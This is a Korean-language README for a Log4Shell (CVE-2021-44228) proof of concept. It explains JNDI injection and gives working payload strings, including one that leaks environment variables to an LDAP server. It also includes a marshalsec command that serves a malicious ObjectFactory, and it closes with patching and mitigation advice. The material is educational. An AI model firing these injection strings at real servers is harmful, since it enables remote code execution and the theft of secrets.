
취약점 PoC
CVE-2021-44228:
이 취약점은 대상 머신에서 악성 메시지를 로깅함으로써 임의 코드를 실행할 수 있게 합니다.
예를 들어, Minecraft 에서 채팅 메시지를 보내는 방식으로 이를 사용할 수 있으며, 서버/플레이어 머신이 채팅 메시지를 로깅하고 여러분의 코드를 실행하게 됩니다.
LiveOverflow/CVE-2021-44228 영상
메시지에는 원격 객체를 로드하라는 지시가 담긴 ${} 플레이스홀더와
jndi API가 포함되어야 합니다. ObjectFactory를 통해 객체를 로드합니다.
ldap://x.x.x.x:port/...http://x.x.x.x/...dns://x.x.x/...${jndi:ldap://127.0.0.1:1389/#}
클라이언트에 ObjectFactory가 없으면 아무것도 하지 않습니다.
서버를 확인(resolve)하는 것 외에는요.
이를 통해 환경 변수를 유출할 수 있습니다:
${jndi:ldap://127.0.0.1:1389/${env:java_home}}
왜 이렇게 과대평가되었나?
제 이해가 맞다면, 이것은 JNDI에 대한 인터페이스를 제공합니다
무엇이 악용될 수 있나
JNDI JDAP은 객체 조회 API입니다.
서버에서 Java 객체를 가져올 수 있습니다.
marshalsec/LDAPRefServer
이것은 객체 데이터와 ObjectFactory 이름을 보내며, 클라이언트에서 객체를 빌드하게 됩니다.
여러 방식으로 악용될 수 있습니다.
LDAP가 외부 코드를 신뢰하도록 설정되어 있다면, 악성 ObjectFactory의 URL만 제공하면 됩니다.
com.sun.jndi.ldap.object.trustURLCodebase = true
또는 또 다른 Java 취약점이 있습니다. JDK-8196902
이것과 결합하면, 정말로 RCE가 됩니다.
GitHub에는 이를 수행하는 여러 POC 저장소가 있습니다. 예를 들어 tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
이 값이 false로 설정되어 있으면(기본값은 false), 대상 코드베이스에서 악용 가능한 ObjectFactory를 찾거나,
다른 방식으로 JNDI를 악용할 수 있습니다.
JNDI 인젝션에 대한 추가 자료:
JNDI 인젝션
Veracode Research/rogue-jndi
RCEExample은 악성 메시지를 로깅하는 함수입니다.
그냥 run을 눌러 실행하세요...
LoggerFactory는 무엇을 받든 로깅할 ObjectFactory입니다...
marshalsec을 빌드하면, LoggerFactory를 사용하도록 지정할 수 있습니다.
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1/#LoggerFactory"rce.RCEExample을 실행하고 익스플로잇(로거)을 확인하세요.LoggerFactory에 중단점을 설정하여 객체들을 확인할 수 있습니다.프로그램이 오직 내장된 메시지만 로깅한다면 영향을 받지 않습니다.
프로그램이 데이터 파일이나 네트워크의 텍스트를 로깅할 수 있다면 취약합니다.
하지만 어차피 수정해야 합니다...
가장 좋은 방법은 Log4J2 2.15.0+로 업데이트하는 것입니다.
어떤 이유로든 업데이트가 불가능하다면, 다음 Java 인자로 JNDI 조회를 비활성화하여 취약점을 완화하세요: ‐Dlog4j2.formatMsgNoLookups=True
Minecraft 서버 관리자라면 공식 가이드를 따르세요: 중요 공지: JAVA EDITION 보안 취약점